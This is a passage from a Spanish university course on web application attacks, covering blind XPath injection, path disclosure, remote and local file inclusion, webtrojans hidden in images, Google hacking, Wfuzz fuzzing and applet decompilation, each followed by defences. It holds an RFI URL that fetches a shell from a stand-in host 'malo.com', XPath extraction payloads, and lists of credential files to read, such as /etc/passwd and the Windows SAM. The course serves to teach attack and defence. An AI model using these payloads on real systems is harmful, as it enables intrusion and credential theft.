[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 3: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Iacutendice

1 Ataques de inyeccioacuten de scripts 5

11 Cross site scripting (XSS) 7

111 Ataques 9

